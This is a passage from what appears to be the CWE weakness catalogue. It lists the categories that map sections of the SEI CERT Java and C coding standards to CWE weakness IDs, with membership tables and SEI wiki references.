HasMember	B	460	Improper Cleanup on Thrown Exception	1133	981
HasMember	B	584	Return Inside Finally Block	1133	1171
HasMember	P	703	Improper Check or Handling of Exceptional Conditions	1133	1355

Nature	Type	ID	Name	V	Page
HasMember	C	705	Incorrect Control Flow Scoping	1133	1359
HasMember	C	754	Improper Check for Unusual or Exceptional Conditions	1133	1381

References

[REF-820]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 07. Exceptional Behavior (ERR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487665 >.

[REF-1003]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 07. Exceptional Behavior (ERR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487338 >.

Category-1142: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)

Category ID : 1142 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Visibility and Atomicity (VNA) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	C	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')	1133	793
HasMember	B	366	Race Condition within a Thread	1133	809
HasMember	B	413	Improper Resource Locking	1133	896
HasMember	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1133	1144
HasMember	C	662	Improper Synchronization	1133	1288
HasMember	C	667	Improper Locking	1133	1299

References

[REF-821]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 08. Visibility and Atomicity (VNA)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487824 >.

Category-1143: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)

Category ID : 1143 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Locking (LCK) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	412	Unrestricted Externally Accessible Lock	1133	893
HasMember	B	609	Double-Checked Locking	1133	1211
HasMember	C	667	Improper Locking	1133	1299
HasMember	B	820	Missing Synchronization	1133	1512

References

[REF-822]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 09. Locking (LCK)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487666 >.

Category-1144: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI)

Category ID : 1144 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Thread APIs (THI) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	V	572	Call to Thread run() instead of start()	1133	1152

References

[REF-823]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 10. Thread APIs (THI)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487735 >.

Category-1145: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS)

Category ID : 1145 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Thread Pools (TPS) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	392	Missing Report of Error Condition	1133	853
HasMember	C	405	Asymmetric Resource Consumption (Amplification)	1133	883
HasMember	B	410	Insufficient Resource Pool	1133	891

References

[REF-824]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 11. Thread Pools (TPS)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487728 >.

Category-1146: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM)

Category ID : 1146 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Thread-Safety Miscellaneous (TSM) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051

References

[REF-825]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 12. Thread-Safety Miscellaneous (TSM)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487731 >.

Category-1147: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)

Category ID : 1147 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	67	Improper Handling of Windows Device Names	1133	120
HasMember	B	180	Incorrect Behavior Order: Validate Before Canonicalize	1133	417
HasMember	B	198	Use of Incorrect Byte Ordering	1133	465
HasMember	B	276	Incorrect Default Permissions	1133	606
HasMember	B	279	Incorrect Execution-Assigned Permissions	1133	611
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	1133	788
HasMember	B	377	Insecure Temporary File	1133	829
HasMember	B	404	Improper Resource Shutdown or Release	1133	877
HasMember	B	405	Asymmetric Resource Consumption (Amplification)	1133	883
HasMember	B	459	Incomplete Cleanup	1133	978
HasMember	B	532	Insertion of Sensitive Information into Log File	1133	1104
HasMember	B	647	Use of Non-Canonical URL Paths for Authorization Decisions	1133	1269

Nature	Type	ID	Name	V	Page
HasMember	C	705	Incorrect Control Flow Scoping	1133	1359
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1133	1367
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1422

References

[REF-826]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 13. Input Output (FIO)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487725 >.

[REF-1004]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 13. Input Output (FIO)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487330 >.

Category-1148: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER)

Category ID : 1148 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Serialization (SER) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	319	Cleartext Transmission of Sensitive Information	1133	705
HasMember	C	400	Uncontrolled Resource Consumption	1133	864
HasMember	V	499	Serializable Class Containing Sensitive Data	1133	1067
HasMember	B	502	Deserialization of Untrusted Data	1133	1072
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1422

References

[REF-827]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 14. Serialization (SER)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487787 >.

Category-1149: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)

Category ID : 1149 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Platform Security (SEC) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051

Nature	Type	ID	Name	V	Page
HasMember	B	266	Incorrect Privilege Assignment	1133	580
HasMember	B	272	Least Privilege Violation	1133	598
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1133	1367

References

[REF-828]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 15. Platform Security (SEC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487683 >.

[REF-1005]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 15. Platform Security (SEC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487332 >.

Category-1150: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV)

Category ID : 1150 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Runtime Environment (ENV) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	B	349	Acceptance of Extraneous Untrusted Data With Trusted Data	1133	768
HasMember	C	732	Incorrect Permission Assignment for Critical Resource	1133	1367

References

[REF-829]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 16. Runtime Environment (ENV)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487764 >.

Category-1151: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI)

Category ID : 1151 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Java Native Interface (JNI) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	V	111	Direct Use of Unsafe JNI	1133	247

References

[REF-972]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 17. Java Native Interface (JNI)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487346 >.

Category-1152: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)

Category ID : 1152 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051
HasMember	V	259	Use of Hard-coded Password	1133	569
HasMember	C	311	Missing Encryption of Sensitive Data	1133	686
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1133	720
HasMember	C	330	Use of Insufficiently Random Values	1133	730
HasMember	V	332	Insufficient Entropy in PRNG	1133	739
HasMember	V	336	Same Seed in Pseudo-Random Number Generator (PRNG)	1133	745
HasMember	V	337	Predictable Seed in Pseudo-Random Number Generator (PRNG)	1133	747
HasMember	C	400	Uncontrolled Resource Consumption	1133	864
HasMember	V	401	Missing Release of Memory after Effective Lifetime	1133	872
HasMember	B	770	Allocation of Resources Without Limits or Throttling	1133	1422
HasMember	B	798	Use of Hard-coded Credentials	1133	1486

References

[REF-830]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 49. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487686 >.

[REF-1006]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rec 49. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487351 >.

Category-1153: SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD)

Category ID : 1153 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Android (DRD) section of the SEI CERT Oracle Secure Coding Standard for Java.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1133	Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java	1133	2051

References

[REF-973]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 50. Android (DRD)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=88487375 >.

Category-1155: SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE)

Category ID : 1155 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Preprocessor (PRE) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053

References

[REF-599]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 01. Preprocessor (PRE)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152276 >.

[REF-979]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 01. Preprocessor (PRE)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151965 >.

Category-1156: SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL)

Category ID : 1156 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Declarations and Initialization (DCL) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	562	Return of Stack Variable Address	1154	1136

References

[REF-600]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 02. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152215 >.

[REF-980]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 02. Declarations and Initialization (DCL)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151966 >.

Category-1157: SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)

Category ID : 1157 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Expressions (EXP) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	271
HasMember	B	125	Out-of-bounds Read	1154	302
HasMember	B	476	NULL Pointer Dereference	1154	1009
HasMember	B	480	Use of Incorrect Operator	1154	1023
HasMember	V	481	Assigning instead of Comparing	1154	1026
HasMember	B	628	Function Call with Incorrectly Specified Arguments	1154	1243
HasMember	V	685	Function Call With Incorrect Number of Arguments	1154	1333
HasMember	V	686	Function Call With Incorrect Argument Type	1154	1334
HasMember	∞	690	Unchecked Return Value to NULL Pointer Dereference	1154	1339
HasMember	C	704	Incorrect Type Conversion or Cast	1154	1357
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393
HasMember	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	1154	1563
HasMember	B	908	Use of Uninitialized Resource	1154	1578

References

[REF-601]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 03. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152200 >.

[REF-981]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 03. Expressions (EXP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151976 >.

Category-1158: SEI CERT C Coding Standard - Guidelines 04. Integers (INT)

Category ID : 1158 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Integers (INT) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	131	Incorrect Calculation of Buffer Size	1154	325
HasMember	B	190	Integer Overflow or Wraparound	1154	437
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	1154	444
HasMember	V	192	Integer Coercion Error	1154	446
HasMember	V	194	Unexpected Sign Extension	1154	454
HasMember	V	195	Signed to Unsigned Conversion Error	1154	457
HasMember	B	197	Numeric Truncation Error	1154	461
HasMember	B	369	Divide By Zero	1154	818
HasMember	B	587	Assignment of a Fixed Address to a Pointer	1154	1175
HasMember	CHAIN	680	Integer Overflow to Buffer Overflow	1154	1321
HasMember	B	681	Incorrect Conversion between Numeric Types	1154	1322
HasMember	P	682	Incorrect Calculation	1154	1326
HasMember	C	704	Incorrect Type Conversion or Cast	1154	1357
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393

References

[REF-602]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 04. Integers (INT)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152052 >.

[REF-982]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 04. Integers (INT)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151979 >.

Category-1159: SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)

Category ID : 1159 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Floating Point (FLP) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	197	Numeric Truncation Error	1154	461
HasMember	B	391	Unchecked Error Condition	1154	850
HasMember	B	681	Incorrect Conversion between Numeric Types	1154	1322
HasMember	P	682	Incorrect Calculation	1154	1326

References

[REF-603]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 05. Floating Point (FLP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152181 >.

[REF-983]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 05. Floating Point (FLP)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151969 >.

Category-1160: SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)

Category ID : 1160 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Arrays (ARR) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	271
HasMember	V	121	Stack-based Buffer Overflow	1154	289
HasMember	B	123	Write-what-where Condition	1154	296
HasMember	B	125	Out-of-bounds Read	1154	302
HasMember	V	129	Improper Validation of Array Index	1154	312
HasMember	B	468	Incorrect Pointer Scaling	1154	992
HasMember	B	469	Use of Pointer Subtraction to Determine Size	1154	994
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393
HasMember	B	786	Access of Memory Location Before Start of Buffer	1154	1461
HasMember	B	805	Buffer Access with Incorrect Length Value	1154	1497

References

[REF-604]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 06. Arrays (ARR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152051 >.

[REF-984]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 06. Arrays (ARR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151972 >.

Category-1161: SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)

Category ID : 1161 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Characters and Strings (STR) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	1154	271
HasMember	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	1154	280
HasMember	V	121	Stack-based Buffer Overflow	1154	289
HasMember	V	122	Heap-based Buffer Overflow	1154	293
HasMember	B	123	Write-what-where Condition	1154	296

Nature	Type	ID	Name	V	Page
HasMember	B	125	Out-of-bounds Read	1154	302
HasMember	B	170	Improper Null Termination	1154	395
HasMember	B	676	Use of Potentially Dangerous Function	1154	1317
HasMember	C	704	Incorrect Type Conversion or Cast	1154	1357

References

[REF-605]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 07. Characters and Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152038 >.

[REF-985]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 07. Characters and Strings (STR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151974 >.

Category-1162: SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)

Category ID : 1162 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Memory Management (MEM) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	131	Incorrect Calculation of Buffer Size	1154	325
HasMember	B	190	Integer Overflow or Wraparound	1154	437
HasMember	V	401	Missing Release of Memory after Effective Lifetime	1154	872
HasMember	C	404	Improper Resource Shutdown or Release	1154	877
HasMember	V	415	Double Free	1154	901
HasMember	V	416	Use After Free	1154	904
HasMember	B	459	Incomplete Cleanup	1154	978
HasMember	V	467	Use of sizeof() on a Pointer Type	1154	989
HasMember	V	590	Free of Memory not on the Heap	1154	1179
HasMember	C	666	Operation on Resource in Wrong Phase of Lifetime	1154	1298
HasMember	C	672	Operation on a Resource after Expiration or Release	1154	1310
HasMember	CHAIN	680	Integer Overflow to Buffer Overflow	1154	1321
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393
HasMember	B	771	Missing Reference to Active Allocated Resource	1154	1430
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1154	1432
HasMember	V	789	Uncontrolled Memory Allocation	1154	1474

References

[REF-606]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 08. Memory Management (MEM)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152142 >.

[REF-986]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 08. Memory Management (MEM)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151930 >.

Category-1163: SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)

Category ID : 1163 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Input Output (FIO) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	20	Improper Input Validation	1154	19
HasMember	V	67	Improper Handling of Windows Device Names	1154	120
HasMember	B	134	Use of Externally-Controlled Format String	1154	334
HasMember	B	197	Numeric Truncation Error	1154	461
HasMember	B	241	Improper Handling of Unexpected Data Type	1154	534
HasMember	C	404	Improper Resource Shutdown or Release	1154	877
HasMember	B	459	Incomplete Cleanup	1154	978
HasMember	P	664	Improper Control of a Resource Through its Lifetime	1154	1291
HasMember	C	666	Operation on Resource in Wrong Phase of Lifetime	1154	1298
HasMember	C	672	Operation on a Resource after Expiration or Release	1154	1310
HasMember	V	685	Function Call With Incorrect Number of Arguments	1154	1333
HasMember	V	686	Function Call With Incorrect Argument Type	1154	1334
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393
HasMember	B	771	Missing Reference to Active Allocated Resource	1154	1430
HasMember	B	772	Missing Release of Resource after Effective Lifetime	1154	1432
HasMember	V	773	Missing Reference to Active File Descriptor or Handle	1154	1436
HasMember	V	775	Missing Release of File Descriptor or Handle after Effective Lifetime	1154	1439
HasMember	B	910	Use of Expired File Descriptor	1154	1584

References

[REF-607]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 09. Input Output (FIO)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152270 >.

[REF-987]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 09. Input Output (FIO)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151932 >.

Category-1165: SEI CERT C Coding Standard - Guidelines 10. Environment (ENV)

Category ID : 1165 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Environment (ENV) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	1154	141
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	1154	181
HasMember	B	676	Use of Potentially Dangerous Function	1154	1317
HasMember	C	705	Incorrect Control Flow Scoping	1154	1359

References

[REF-608]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 10. Environment (ENV)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152421 >.

[REF-988]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec. 10. Environment (ENV)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151968 >.

Category-1166: SEI CERT C Coding Standard - Guidelines 11. Signals (SIG)

Category ID : 1166 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Signals (SIG) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	V	479	Signal Handler Use of a Non-reentrant Function	1154	1021
HasMember	C	662	Improper Synchronization	1154	1288

References

[REF-609]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 11. Signals (SIG)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152469 >.

[REF-989]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 11. Signals (SIG)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151975 >.

Category-1167: SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR)

Category ID : 1167 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Error Handling (ERR) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	252	Unchecked Return Value	1154	553
HasMember	B	253	Incorrect Check of Function Return Value	1154	560
HasMember	B	391	Unchecked Error Condition	1154	850
HasMember	V	456	Missing Initialization of a Variable	1154	971
HasMember	B	676	Use of Potentially Dangerous Function	1154	1317
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393

References

[REF-610]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 12. Error Handling (ERR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152345 >.

[REF-990]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 12. Error Handling (ERR)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151977 >.

Category-1168: SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API)

Category ID : 1168 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Application Programming Interfaces (API) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053

References

[REF-611]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 13. Application Programming Interfaces (API)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152242 >.

[REF-991]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 13. Application Programming Interfaces (API)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151980 >.

Category-1169: SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)

Category ID : 1169 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Concurrency (CON) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	330	Use of Insufficiently Random Values	1154	730
HasMember	B	366	Race Condition within a Thread	1154	809
HasMember	C	377	Insecure Temporary File	1154	829
HasMember	C	667	Improper Locking	1154	1299
HasMember	B	676	Use of Potentially Dangerous Function	1154	1317

References

[REF-612]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 14. Concurrency (CON)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152257 >.

[REF-992]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 14. Concurrency (CON)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151970 >.

Category-1170: SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC)

Category ID : 1170 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the Miscellaneous (MSC) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	C	327	Use of a Broken or Risky Cryptographic Algorithm	1154	720
HasMember	C	330	Use of Insufficiently Random Values	1154	730
HasMember	B	331	Insufficient Entropy	1154	736
HasMember	B	338	Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)	1154	748
HasMember	B	676	Use of Potentially Dangerous Function	1154	1317
HasMember	C	758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1154	1393

References

[REF-613]The Software Engineering Institute. "SEI CERT C Coding Standard : Rule 48. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87152201 >.

[REF-993]The Software Engineering Institute. "SEI CERT C Coding Standard : Rec 48. Miscellaneous (MSC)". < https://wiki.sei.cmu.edu/confluence/pages/viewpage.action?pageId=87151973 >.

Category-1171: SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)

Category ID : 1171 **Status:** Stable

Summary

Weaknesses in this category are related to the rules and recommendations in the POSIX (POS) section of the SEI CERT C Coding Standard.

Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	1154	Weaknesses Addressed by the SEI CERT C Coding Standard	1154	2053
HasMember	B	170	Improper Null Termination	1154	395
HasMember	B	242	Use of Inherently Dangerous Function	1154	536
HasMember	B	252	Unchecked Return Value	1154	553
HasMember	B	253	Incorrect Check of Function Return Value	1154	560
